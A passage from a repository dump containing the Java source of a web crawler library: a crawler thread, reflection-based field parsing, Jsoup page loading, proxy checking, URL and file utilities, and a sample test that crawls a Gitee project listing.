10:58:19\n */\npublic class CrawlerThread implements Runnable {\n    private static Logger logger = LoggerFactory.getLogger(CrawlerThread.class);\n\n    private XxlCrawler crawler;\n    private boolean running;\n    private boolean toStop;\n    public CrawlerThread(XxlCrawler crawler) {\n        this.crawler = crawler;\n        this.running = true;\n        this.toStop = false;\n    }\n    public void toStop() {\n        this.toStop = true;\n    }\n    public boolean isRunning() {\n        return running;\n    }\n\n    @Override\n    public void run() {\n\n        while (!toStop) {\n            try {\n\n                // ------- url ----------\n                running = false;\n                crawler.tryFinish();\n                String link = crawler.getRunData().getUrl();\n                running = true;\n                logger.info(\">>>>>>>>>>> xxl crawler, process link : {}\", link);\n                if (!UrlUtil.isUrl(link)) {\n                    continue;\n                }\n\n                // failover\n                for (int i = 0; i < (1 + crawler.getRunConf().getFailRetryCount()); i++) {\n\n                    boolean ret = false;\n                    try {\n                        // make request\n                        PageRequest pageRequest = makePageRequest(link);\n\n                        // pre parse\n                        crawler.getRunConf().getPageParser().preParse(pageRequest);\n\n                        // parse\n                        if (crawler.getRunConf().getPageParser() instanceof NonPageParser) {\n                            ret = processNonPage(pageRequest);\n                        } else {\n                            ret = processPage(pageRequest);\n                        }\n                    } catch (Throwable e) {\n                        logger.info(\">>>>>>>>>>> xxl crawler proocess error.\", e);\n                    }\n\n                    if (crawler.getRunConf().getPauseMillis() > 0) {\n                        try {\n                            TimeUnit.MILLISECONDS.sleep(crawler.getRunConf().getPauseMillis());\n                        } catch (InterruptedException e) {\n                            logger.info(\">>>>>>>>>>> xxl crawler thread is interrupted. 2{}\", e.getMessage());\n                        }\n                    }\n                    if (ret) {\n                        break;\n                    }\n                }\n\n            } catch (Throwable e) {\n                if (e instanceof InterruptedException) {\n                    logger.info(\">>>>>>>>>>> xxl crawler thread is interrupted. {}\", e.getMessage());\n                } else if (e instanceof XxlCrawlerException) {\n                    logger.info(\">>>>>>>>>>> xxl crawler thread {}\", e.getMessage());\n                } else {\n                    logger.error(e.getMessage(), e);\n                }\n            }\n\n        }\n    }\n\n    /**\n     * make page request\n     *\n     * @param link\n     * @return PageRequest\n     */\n    private PageRequest makePageRequest(String link){\n        String userAgent = crawler.getRunConf().getUserAgentList().size()>1\n                ?crawler.getRunConf().getUserAgentList().get(new Random().nextInt(crawler.getRunConf().getUserAgentList().size()))\n                :crawler.getRunConf().getUserAgentList().size()==1?crawler.getRunConf().getUserAgentList().get(0):null;\n        Proxy proxy = null;\n        if (crawler.getRunConf().getProxyMaker() != null) {\n            proxy = crawler.getRunConf().getProxyMaker().make();\n        }\n\n        PageRequest pageRequest = new PageRequest();\n        pageRequest.setUrl(link);\n        pageRequest.setParamMap(crawler.getRunConf().getParamMap());\n        pageRequest.setCookieMap(crawler.getRunConf().getCookieMap());\n        pageRequest.setHeaderMap(crawler.getRunConf().getHeaderMap());\n        pageRequest.setUserAgent(userAgent);\n        pageRequest.setReferrer(crawler.getRunConf().getReferrer());\n        pageRequest.setIfPost(crawler.getRunConf().isIfPost());\n        pageRequest.setTimeoutMillis(crawler.getRunConf().getTimeoutMillis());\n        pageRequest.setProxy(proxy);\n        pageRequest.setValidateTLSCertificates(crawler.getRunConf().isValidateTLSCertificates());\n\n        return pageRequest;\n    }\n\n    /**\n     * process non page\n     * @param pageRequest\n     * @return boolean\n     */\n    private boolean processNonPage(PageRequest pageRequest){\n        NonPageParser nonPageParser = (NonPageParser) crawler.getRunConf().getPageParser();\n\n        String pagesource = JsoupUtil.loadPageSource(pageRequest);\n        if (pagesource == null) {\n            return false;\n        }\n        nonPageParser.parse(pageRequest.getUrl(), pagesource);\n        return true;\n    }\n\n    /**\n     * process page\n     * @param pageRequest\n     * @return boolean\n     */\n    private boolean processPage(PageRequest pageRequest) throws IllegalAccessException, InstantiationException {\n        Document html = crawler.getRunConf().getPageLoader().load(pageRequest);\n\n        if (html == null) {\n            return false;\n        }\n\n        // ------- child link list (FIFO队列,广度优先) ----------\n        if (crawler.getRunConf().isAllowSpread()) {     // limit child spread\n            Set<String> links = JsoupUtil.findLinks(html);\n            if (links != null && links.size() > 0) {\n                for (String item : links) {\n                    if (crawler.getRunConf().validWhiteUrl(item)) {      // limit unvalid-child spread\n                        crawler.getRunData().addUrl(item);\n                    }\n                }\n            }\n        }\n\n        // ------- pagevo ----------\n        if (!crawler.getRunConf().validWhiteUrl(pageRequest.getUrl())) {     // limit unvalid-page parse, only allow spread child, finish here\n            return true;\n        }\n\n        // pagevo class-field info\n        Class pageVoClassType = Object.class;\n\n        Type pageVoParserClass = crawler.getRunConf().getPageParser().getClass().getGenericSuperclass();\n        if (pageVoParserClass instanceof ParameterizedType) {\n            Type[] pageVoClassTypes = ((ParameterizedType)pageVoParserClass).getActualTypeArguments();\n            pageVoClassType = (Class) pageVoClassTypes[0];\n        }\n\n        PageSelect pageVoSelect = (PageSelect) pageVoClassType.getAnnotation(PageSelect.class);\n        String pageVoCssQuery = (pageVoSelect!=null && pageVoSelect.cssQuery()!=null && pageVoSelect.cssQuery().trim().length()>0)?pageVoSelect.cssQuery():\"html\";\n\n        // pagevo document 2 object\n        Elements pageVoElements = html.select(pageVoCssQuery);\n\n        if (pageVoElements != null && pageVoElements.hasText()) {\n            for (Element pageVoElement : pageVoElements) {\n\n                Object pageVo = pageVoClassType.newInstance();\n\n                Field[] fields = pageVoClassType.getDeclaredFields();\n                if (fields!=null) {\n                    for (Field field: fields) {\n                        if (Modifier.isStatic(field.getModifiers())) {\n                            continue;\n                        }\n\n\n                        // field origin value\n                        PageFieldSelect fieldSelect = field.getAnnotation(PageFieldSelect.class);\n                        String cssQuery = null;\n                        XxlCrawlerConf.SelectType selectType = null;\n                        String selectVal = null;\n                        if (fieldSelect != null) {\n                            cssQuery = fieldSelect.cssQuery();\n                            selectType = fieldSelect.selectType();\n                            selectVal = fieldSelect.selectVal();\n                        }\n                        if (cssQuery==null || cssQuery.trim().length()==0) {\n                            continue;\n                        }\n\n                        // field value\n                        Object fieldValue = null;\n\n                        if (field.getGenericType() instanceof ParameterizedType) {\n                            ParameterizedType fieldGenericType = (ParameterizedType) field.getGenericType();\n                            if (fieldGenericType.getRawType().equals(List.class)) {\n\n                                //Type gtATA = fieldGenericType.getActualTypeArguments()[0];\n                                Elements fieldElementList = pageVoElement.select(cssQuery);\n                                if (fieldElementList!=null && fieldElementList.size()>0) {\n\n                                    List<Object> fieldValueTmp = new ArrayList<Object>();\n                                    for (Element fieldElement: fieldElementList) {\n\n                                        String fieldElementOrigin = JsoupUtil.parseElement(fieldElement, selectType, selectVal);\n                                        if (fieldElementOrigin==null || fieldElementOrigin.length()==0) {\n                                            continue;\n                                        }\n                                        try {\n                                            fieldValueTmp.add(FieldReflectionUtil.parseValue(field, fieldElementOrigin));\n                                        } catch (Exception e) {\n                                            logger.error(e.getMessage(), e);\n                                        }\n                                    }\n\n                                    if (fieldValueTmp.size() > 0) {\n                                        fieldValue = fieldValueTmp;\n                                    }\n                                }\n                            }\n                        } else {\n\n                            Elements fieldElements = pageVoElement.select(cssQuery);\n                            String fieldValueOrigin = null;\n                            if (fieldElements!=null && fieldElements.size()>0) {\n                                fieldValueOrigin = JsoupUtil.parseElement(fieldElements.get(0), selectType, selectVal);\n                            }\n\n                            if (fieldValueOrigin==null || fieldValueOrigin.length()==0) {\n                                continue;\n                            }\n\n                            try {\n                                fieldValue = FieldReflectionUtil.parseValue(field, fieldValueOrigin);\n                            } catch (Exception e) {\n                                logger.error(e.getMessage(), e);\n                            }\n                        }\n\n                        if (fieldValue!=null) {\n                            /*PropertyDescriptor pd = new PropertyDescriptor(field.getName(), pageVoClassType);\n                            Method method = pd.getWriteMethod();\n                            method.invoke(pageVo, fieldValue);*/\n\n                            field.setAccessible(true);\n                            field.set(pageVo, fieldValue);\n                        }\n                    }\n                }\n\n                // pagevo output\n                crawler.getRunConf().getPageParser().parse(html, pageVoElement, pageVo);\n            }\n        }\n\n        return true;\n    }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/util/FieldReflectionUtil.java",
    "content": "package com.jun.plugin.crawler.util;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.ParameterizedType;\nimport java.lang.reflect.Type;\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\nimport java.util.List;\n\nimport com.jun.plugin.crawler.annotation.PageFieldSelect;\n\n/**\n * api request field, reflect util\n * @author xuxueli 2017-05-26\n */\npublic final class FieldReflectionUtil {\n\n\tprivate FieldReflectionUtil(){}\n\n\tpublic static Byte parseByte(String value) {\n\t\ttry {\n\t\t\tvalue = value.replaceAll(\"　\", \"\");\n\t\t\treturn Byte.valueOf(value);\n\t\t} catch(NumberFormatException e) {\n\t\t\tthrow new RuntimeException(\"parseByte but input illegal input=\" + value, e);\n\t\t}\n\t}\n\n\tpublic static Boolean parseBoolean(String value) {\n\t\tvalue = value.replaceAll(\"　\", \"\");\n\t\tif (Boolean.TRUE.toString().equalsIgnoreCase(value)) {\n\t\t\treturn Boolean.TRUE;\n\t\t} else if (Boolean.FALSE.toString().equalsIgnoreCase(value)) {\n\t\t\treturn Boolean.FALSE;\n\t\t} else {\n\t\t\tthrow new RuntimeException(\"parseBoolean but input illegal input=\" + value);\n\t\t}\n\t}\n\n\tpublic static Integer parseInt(String value) {\n\t\ttry {\t\n\t\t\tvalue = value.replaceAll(\"　\", \"\");\n\t\t\treturn Integer.valueOf(value);\n\t\t} catch(NumberFormatException e) {\n\t\t\tthrow new RuntimeException(\"parseInt but input illegal input=\" + value, e);\n\t\t}\n\t}\n\n\tpublic static Short parseShort(String value) {\n\t\ttry {\n\t\t\tvalue = value.replaceAll(\"　\", \"\");\n\t\t\treturn Short.valueOf(value);\n\t\t} catch(NumberFormatException e) {\n\t\t\tthrow new RuntimeException(\"parseShort but input illegal input=\" + value, e);\n\t\t}\n\t}\n\n\tpublic static Long parseLong(String value) {\n\t\ttry {\n\t\t\tvalue = value.replaceAll(\"　\", \"\");\n\t\t\treturn Long.valueOf(value);\n\t\t} catch(NumberFormatException e) {\n\t\t\tthrow new RuntimeException(\"parseLong but input illegal input=\" + value, e);\n\t\t}\n\t}\n\n\tpublic static Float parseFloat(String value) {\n\t\ttry {\n\t\t\tvalue = value.replaceAll(\"　\", \"\");\n\t\t\treturn Float.valueOf(value);\n\t\t} catch(NumberFormatException e) {\n\t\t\tthrow new RuntimeException(\"parseFloat but input illegal input=\" + value, e);\n\t\t}\n\t}\n\n\tpublic static Double parseDouble(String value) {\n\t\ttry {\n\t\t\tvalue = value.replaceAll(\"　\", \"\");\n\t\t\treturn Double.valueOf(value);\n\t\t} catch(NumberFormatException e) {\n\t\t\tthrow new RuntimeException(\"parseDouble but input illegal input=\" + value, e);\n\t\t}\n\t}\n\n\tpublic static Date parseDate(PageFieldSelect apiRequestParam, String value) {\n\t\ttry {\n\t\t\tString datePattern = \"yyyy-MM-dd HH:mm:ss\";\n\t\t\tif (apiRequestParam != null) {\n\t\t\t\tdatePattern = apiRequestParam.datePattern();\n\t\t\t}\n\t\t\tSimpleDateFormat dateFormat = new SimpleDateFormat(datePattern);\n\t\t\treturn dateFormat.parse(value);\n\t\t} catch(ParseException e) {\n\t\t\tthrow new RuntimeException(\"parseDate but input illegal input=\" + value, e);\n\t\t}\n\t}\n\n\t/**\n\t * 参数解析 （支持：Byte、Boolean、String、Short、Integer、Long、Float、Double、Date）\n\t *\n\t * @param field\n\t * @param value\n\t * @return Object\n\t */\n\tpublic static Object parseValue(Field field, String value) {\n\n\t\tClass<?> fieldType = field.getType();\n\n\t\t// parse list item\n\t\tif (field.getGenericType() instanceof ParameterizedType) {\n\t\t\tParameterizedType fieldGenericType = (ParameterizedType) field.getGenericType();\n\t\t\tif (fieldGenericType.getRawType().equals(List.class)) {\n\t\t\t\tType gtATA = fieldGenericType.getActualTypeArguments()[0];\n\t\t\t\tfieldType = (Class<?>) gtATA;\n\t\t\t}\n\t\t}\n\n\t\tPageFieldSelect apiRequestParam = field.getAnnotation(PageFieldSelect.class);\n\n\t\tif(value==null || value.trim().length()==0)\n\t\t\treturn null;\n\t\tvalue = value.trim();\n\n\t\t if (Byte.class.equals(fieldType) || Byte.TYPE.equals(fieldType)) {\n\t\t\treturn parseByte(value);\n\t\t} else if (Boolean.class.equals(fieldType) || Boolean.TYPE.equals(fieldType)) {\n\t\t\treturn parseBoolean(value);\n\t\t}/* else if (Character.class.equals(fieldType) || Character.TYPE.equals(fieldType)) {\n\t\t\t return value.toCharArray()[0];\n\t\t}*/ else if (String.class.equals(fieldType)) {\n\t\t\treturn value;\n\t\t} else if (Short.class.equals(fieldType) || Short.TYPE.equals(fieldType)) {\n\t\t\t return parseShort(value);\n\t\t} else if (Integer.class.equals(fieldType) || Integer.TYPE.equals(fieldType)) {\n\t\t\treturn parseInt(value);\n\t\t} else if (Long.class.equals(fieldType) || Long.TYPE.equals(fieldType)) {\n\t\t\treturn parseLong(value);\n\t\t} else if (Float.class.equals(fieldType) || Float.TYPE.equals(fieldType)) {\n\t\t\treturn parseFloat(value);\n\t\t} else if (Double.class.equals(fieldType) || Double.TYPE.equals(fieldType)) {\n\t\t\treturn parseDouble(value);\n\t\t} else if (Date.class.equals(fieldType)) {\n\t\t\t return parseDate(apiRequestParam, value);\n\n\t\t} else {\n\t\t\tthrow new RuntimeException(\"request illeagal type, type must be Integer not int Long not long etc, type=\" + fieldType);\n\t\t}\n\t}\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/util/FileUtil.java",
    "content": "package com.jun.plugin.crawler.util;\n\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.*;\nimport java.net.MalformedURLException;\nimport java.net.URL;\nimport java.net.URLConnection;\n\n/**\n * page downloader\n *\n * @author xuxueli 2015-05-14 22:44:43\n */\npublic class FileUtil {\n\tprivate static Logger logger = LoggerFactory.getLogger(FileUtil.class);\n\n\t/**\n\t * 根据 url 和 contentType 生成文件名, 去除非文件名字符\n\t *\n\t * @param url\n\t * @param contentType\n\t * @return String\n\t */\n\tpublic static String getFileNameByUrl(String url, String contentType) {\n\t\turl = url.replaceAll(\"[\\\\?/:*|<>\\\"]\", \"_\");\n\t\tif (contentType!=null && contentType.lastIndexOf(\"/\")>-1) {\n\t\t\turl += \".\" + contentType.substring(contentType.lastIndexOf(\"/\") + 1);\t// text/html、application/pdf\n\t\t}\n\t\treturn url;\n\t}\n\n\t/**\n\t * 保存文本文件\n\t *\n\t * @param fileData\n\t * @param filePath\n\t * @param fileName\n\t */\n\tpublic static void saveFile(String fileData, String filePath, String fileName) {\n\t\ttry {\n\t\t\tDataOutputStream out = new DataOutputStream(new FileOutputStream(new File(filePath, fileName)));\n\t\t\tout.writeChars(fileData);\n\t\t\tout.flush();\n\t\t\tout.close();\n\t\t} catch (IOException e) {\n\t\t\tlogger.error(\"\", e);\n\t\t}\n\t}\n\n\t/**\n\t * 下载文件\n\t *\n\t * @param fileUrl\n\t * @param timeoutMillis\n\t * @param filePath\n\t * @param fileName\n\t */\n\tpublic static boolean downFile(String fileUrl, int timeoutMillis, String filePath, String fileName) {\n\n\t\ttry {\n\t\t\tURL url = new URL(fileUrl);\n\t\t\tURLConnection connection = url.openConnection();\n\t\t\tconnection.setConnectTimeout(timeoutMillis);\n\n\t\t\tInputStream inputStream = connection.getInputStream();\n\t\t\tBufferedOutputStream bufferedOutputStream = new BufferedOutputStream(new FileOutputStream(new File(filePath, fileName)));\n\n\t\t\tbyte[] buf = new byte[1024];\n\t\t\tint size;\n\t\t\twhile (-1 != (size = inputStream.read(buf))) {\n\t\t\t\tbufferedOutputStream.write(buf, 0, size);\n\t\t\t}\n\t\t\tbufferedOutputStream.close();\n\t\t\tinputStream.close();\n\n\t\t\treturn true;\n\t\t} catch (MalformedURLException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t\treturn false;\n\t}\n\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/util/IOUtil.java",
    "content": "package com.jun.plugin.crawler.util;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.*;\n\n/**\n * io util\n *\n * @author xuxueli 2017-11-08 13:22:58\n */\npublic class IOUtil {\n    private static Logger logger = LoggerFactory.getLogger(IOUtil.class);\n\n    /**\n     * String 2 InputStream\n     *\n     * @param str\n     * @return InputStream\n     */\n    public static InputStream toInputStream(String str, String encoding) {\n        try {\n            ByteArrayInputStream inputStream = new ByteArrayInputStream(str.getBytes((encoding!=null)?encoding:\"UTF-8\"));\n            return inputStream;\n        } catch (UnsupportedEncodingException e) {\n            logger.error(e.getMessage(), e);\n        }\n        return null;\n    }\n\n    /**\n     * InputStream 2 String\n     *\n     * @param inputStream\n     * @return String\n     * @throws IOException\n     */\n    public static String toString(InputStream inputStream, String encoding){\n        try {\n            StringBuffer  stringBuffer  =  new  StringBuffer();\n            InputStreamReader inread = new InputStreamReader(inputStream, (encoding!=null)?encoding:\"UTF-8\");\n\n            char[] b = new char[2048];\n            for  (int n; (n = inread.read(b)) != -1;)  {\n                stringBuffer.append(new  String(b,  0,  n));\n            }\n\n            return stringBuffer.toString();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n        return null;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/util/JsoupUtil.java",
    "content": "package com.jun.plugin.crawler.util;\n\nimport org.jsoup.Connection;\nimport org.jsoup.Jsoup;\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\nimport org.jsoup.select.Elements;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.crawler.conf.XxlCrawlerConf;\nimport com.jun.plugin.crawler.model.PageRequest;\n\nimport java.io.IOException;\nimport java.util.HashSet;\nimport java.util.Set;\n\n/**\n * jsoup tool\n *\n * @author xuxueli 2015-05-14 22:44:43\n */\npublic class JsoupUtil {\n    private static Logger logger = LoggerFactory.getLogger(JsoupUtil.class);\n\n    /**\n     * 加载页面\n     *\n     * @param pageRequest\n     *\n     * @return Document\n     */\n    public static Document load(PageRequest pageRequest) {\n        if (!UrlUtil.isUrl(pageRequest.getUrl())) {\n            return null;\n        }\n        try {\n            // 请求设置\n            Connection conn = Jsoup.connect(pageRequest.getUrl());\n            if (pageRequest.getParamMap() != null && !pageRequest.getParamMap().isEmpty()) {\n                conn.data(pageRequest.getParamMap());\n            }\n            if (pageRequest.getCookieMap() != null && !pageRequest.getCookieMap().isEmpty()) {\n                conn.cookies(pageRequest.getCookieMap());\n            }\n            if (pageRequest.getHeaderMap()!=null && !pageRequest.getHeaderMap().isEmpty()) {\n                conn.headers(pageRequest.getHeaderMap());\n            }\n            if (pageRequest.getUserAgent()!=null) {\n                conn.userAgent(pageRequest.getUserAgent());\n            }\n            if (pageRequest.getReferrer() != null) {\n                conn.referrer(pageRequest.getReferrer());\n            }\n            conn.timeout(pageRequest.getTimeoutMillis());\n            conn.validateTLSCertificates(pageRequest.isValidateTLSCertificates());\n            conn.maxBodySize(0);    // 取消默认1M限制\n\n            // 代理\n            if (pageRequest.getProxy() != null) {\n                conn.proxy(pageRequest.getProxy());\n            }\n\n            // 发出请求\n            Document html = null;\n            if (pageRequest.isIfPost()) {\n                html = conn.post();\n            } else {\n                html = conn.get();\n            }\n            return html;\n        } catch (IOException e) {\n            logger.error(e.getMessage(), e);\n            return null;\n        }\n    }\n\n\n    public static String loadPageSource(PageRequest pageRequest) {\n        if (!UrlUtil.isUrl(pageRequest.getUrl())) {\n            return null;\n        }\n        try {\n            // 请求设置\n            Connection conn = Jsoup.connect(pageRequest.getUrl());\n            if (pageRequest.getParamMap() != null && !pageRequest.getParamMap().isEmpty()) {\n                conn.data(pageRequest.getParamMap());\n            }\n            if (pageRequest.getCookieMap() != null && !pageRequest.getCookieMap().isEmpty()) {\n                conn.cookies(pageRequest.getCookieMap());\n            }\n            if (pageRequest.getHeaderMap()!=null && !pageRequest.getHeaderMap().isEmpty()) {\n                conn.headers(pageRequest.getHeaderMap());\n            }\n            if (pageRequest.getUserAgent()!=null) {\n                conn.userAgent(pageRequest.getUserAgent());\n            }\n            if (pageRequest.getReferrer() != null) {\n                conn.referrer(pageRequest.getReferrer());\n            }\n            conn.timeout(pageRequest.getTimeoutMillis());\n            conn.validateTLSCertificates(pageRequest.isValidateTLSCertificates());\n            conn.maxBodySize(0);    // 取消默认1M限制\n\n            // 代理\n            if (pageRequest.getProxy() != null) {\n                conn.proxy(pageRequest.getProxy());\n            }\n\n            conn.ignoreContentType(true);\n            conn.method(pageRequest.isIfPost()?Connection.Method.POST:Connection.Method.GET);\n\n            // 发出请求\n            Connection.Response resp = conn.execute();\n            String pageSource = resp.body();\n            return pageSource;\n        } catch (IOException e) {\n            logger.error(e.getMessage(), e);\n            return null;\n        }\n    }\n\n    /**\n     * 抽取元素数据\n     *\n     * @param fieldElement\n     * @param selectType\n     * @param selectVal\n     * @return String\n     */\n    public static String parseElement(Element fieldElement, XxlCrawlerConf.SelectType selectType, String selectVal) {\n        String fieldElementOrigin = null;\n        if (XxlCrawlerConf.SelectType.HTML == selectType) {\n            fieldElementOrigin = fieldElement.html();\n        } else if (XxlCrawlerConf.SelectType.VAL == selectType) {\n            fieldElementOrigin = fieldElement.val();\n        } else if (XxlCrawlerConf.SelectType.TEXT == selectType) {\n            fieldElementOrigin = fieldElement.text();\n        } else if (XxlCrawlerConf.SelectType.ATTR == selectType) {\n            fieldElementOrigin = fieldElement.attr(selectVal);\n        }  else if (XxlCrawlerConf.SelectType.HAS_CLASS == selectType) {\n            fieldElementOrigin = String.valueOf(fieldElement.hasClass(selectVal));\n        }  else {\n            fieldElementOrigin = fieldElement.toString();\n        }\n        return fieldElementOrigin;\n    }\n\n    /**\n     * 获取页面上所有超链接地址 （<a>标签的href值）\n     *\n     * @param html  页面文档\n     * @return Set<String>\n     */\n    public static Set<String> findLinks(Document html) {\n\n        if (html == null) {\n            return null;\n        }\n\n        // element\n        /**\n         *\n         * Elements resultSelect = html.select(tagName);\t// 选择器方式\n         * Element resultId = html.getElementById(tagName);\t// 元素ID方式\n         * Elements resultClass = html.getElementsByClass(tagName);\t// ClassName方式\n         * Elements resultTag = html.getElementsByTag(tagName);\t// html标签方式 \"body\"\n         *\n         */\n        Elements hrefElements = html.select(\"a[href]\");\n\n        // 抽取数据\n        Set<String> links = new HashSet<String>();\n        if (hrefElements!=null && hrefElements.size() > 0) {\n            for (Element item : hrefElements) {\n                String href = item.attr(\"abs:href\");    // href、abs:href\n                if (UrlUtil.isUrl(href)) {\n                    links.add(href);\n                }\n            }\n        }\n        return links;\n    }\n\n    /**\n     * 获取页面上所有图片地址 （<a>标签的href值）\n     *\n     * @param html\n     * @return Set<String>\n     */\n    public static Set<String> findImages(Document html) {\n\n        Elements imgs = html.getElementsByTag(\"img\");\n\n        Set<String> images = new HashSet<String>();\n        if (imgs!=null && imgs.size() > 0) {\n            for (Element element: imgs) {\n                String imgSrc = element.attr(\"abs:src\");\n                images.add(imgSrc);\n            }\n        }\n\n        return images;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/util/ProxyIpUtil.java",
    "content": "package com.jun.plugin.crawler.util;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.crawler.conf.XxlCrawlerConf;\n\nimport java.io.IOException;\nimport java.net.HttpURLConnection;\nimport java.net.Proxy;\nimport java.net.URL;\n\n/**\n * proxy ip util\n *\n * @author xuxueli 2017-11-08 13:06:55\n */\npublic class ProxyIpUtil {\n    private static Logger logger = LoggerFactory.getLogger(ProxyIpUtil.class);\n\n    /**\n     * check proxy\n     *\n     * @param proxy\n     * @param validSite\n     * @return int\n     */\n    public static int checkProxy(Proxy proxy, String validSite){\n        try {\n            URL url = new URL(validSite!=null?validSite:XxlCrawlerConf.SITE_BAIDU);\n\n            HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection(proxy);\n            httpURLConnection.setRequestProperty(\"User-Agent\", XxlCrawlerConf.USER_AGENT_CHROME);\n            httpURLConnection.setConnectTimeout(XxlCrawlerConf.TIMEOUT_MILLIS_DEFAULT);\n            httpURLConnection.setReadTimeout(XxlCrawlerConf.TIMEOUT_MILLIS_DEFAULT);\n\n            httpURLConnection.connect();\n            int statusCode = httpURLConnection.getResponseCode();\n\n            /*InputStream inputStream = httpURLConnection.getInputStream();\n            String content = IOUtil.toString(inputStream, null);\n            if(content.indexOf(\"百度\") == -1){\n                logger.info(content);\n                return -1;\n            }*/\n\n            return statusCode;\n        } catch (IOException e) {\n            logger.error(e.getMessage(), e);\n            return -2;\n        }\n    }\n\n    /**\n     * check proxy, repeat 3 times\n     *\n     * @param proxy\n     * @param validSite\n     * @return int\n     */\n    public static int checkProxyRepeat(Proxy proxy, String validSite){\n        for (int i = 0; i < 3; i++) {\n            int statusCode = checkProxy(proxy, validSite);\n            if (statusCode > 0) {\n                return statusCode;\n            }\n        }\n        return -2;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/util/RegexUtil.java",
    "content": "package com.jun.plugin.crawler.util;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\n/**\n * regex tool\n *\n * @author xuxueli 2015-5-12 23:57:48\n */\npublic class RegexUtil {\n\n\t/**\n\t * 正则匹配\n\t * @param regex\t: 正则表达式\n\t * @param str\t: 待匹配字符串\n\t * @return boolean\n\t */\n\tpublic static boolean matches(String regex, String str) {\n\t\tPattern pattern = Pattern.compile(regex);\n\t\tMatcher matcher = pattern.matcher(str);\n\t\treturn matcher.matches();\n\t}\n\n\tprivate static final String URL_REGEX = \"http(s)?://([\\\\w-]+\\\\.)+[\\\\w-]+(/[\\\\w- ./?%&=]*)?\";\n\n\t/**\n\t * url格式校验\n\t *\n\t * @param str\n\t * @return boolean\n\t */\n\tpublic static boolean isUrl(String str) {\n\t\tif (str==null || str.trim().length()==0) {\n\t\t\treturn false;\n\t\t}\n\t\treturn matches(URL_REGEX, str);\n\t}\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/main/java/com/jun/plugin/crawler/util/UrlUtil.java",
    "content": "package com.jun.plugin.crawler.util;\n\n/**\n * url tool\n *\n * @author xuxueli 2017-10-10 14:57:05\n */\npublic class UrlUtil {\n\n    /**\n     * url格式校验\n     */\n    public static boolean isUrl(String url) {\n        if (url!=null && url.trim().length()>0 && url.startsWith(\"http\")) {\n            return true;\n        }\n        return false;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/test/java/com/jun/plugin/crawler/test/XxlCrawlerTest.java",
    "content": "package com.jun.plugin.crawler.test;\n\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\n\nimport com.jun.plugin.crawler.XxlCrawler;\nimport com.jun.plugin.crawler.annotation.PageFieldSelect;\nimport com.jun.plugin.crawler.annotation.PageSelect;\nimport com.jun.plugin.crawler.parser.PageParser;\n\n/**\n * 爬虫示例01：爬取页面数据并封装VO对象\n *\n * @author xuxueli 2017-10-09 19:48:48\n */\npublic class XxlCrawlerTest {\n\n    @PageSelect(cssQuery = \"#search-projects-ulist .project\")\n    public static class PageVo {\n\n        @PageFieldSelect(cssQuery = \".repository\")\n        private String repository;\n\n        @PageFieldSelect(cssQuery = \".description\")\n        private String description;\n\n        public String getRepository() {\n            return repository;\n        }\n\n        public void setRepository(String repository) {\n            this.repository = repository;\n        }\n\n        public String getDescription() {\n            return description;\n        }\n\n        public void setDescription(String description) {\n            this.description = description;\n        }\n\n        @Override\n        public String toString() {\n            return \"PageVo{\" +\n                    \"repository='\" + repository + '\\'' +\n                    \", description='\" + description + '\\'' +\n                    '}';\n        }\n    }\n\n    public static void main(String[] args) {\n\n        XxlCrawler crawler = new XxlCrawler.Builder()\n                .setUrls(\"https://gitee.com/xuxueli0323/projects?page=1\")\n                .setWhiteUrlRegexs(\"https://gitee\\\\.com/xuxueli0323/projects\\\\?page=\\\\d+\")\n                .setThreadCount(3)\n                .setPageParser(new PageParser<PageVo>() {\n                    @Override\n                    public void parse(Document html, Element pageVoElement, PageVo pageVo) {\n                        // 解析封装 PageVo 对象\n                        String pageUrl = html.baseUri();\n                        System.out.println(pageUrl + \"：\" + pageVo.toString());\n                    }\n                })\n                .build();\n\n        System.out.println(\"start\");\n        crawler.start(true);\n        System.out.println(\"end\");\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/test/java/com/jun/plugin/crawler/test/XxlCrawlerTest02.java",
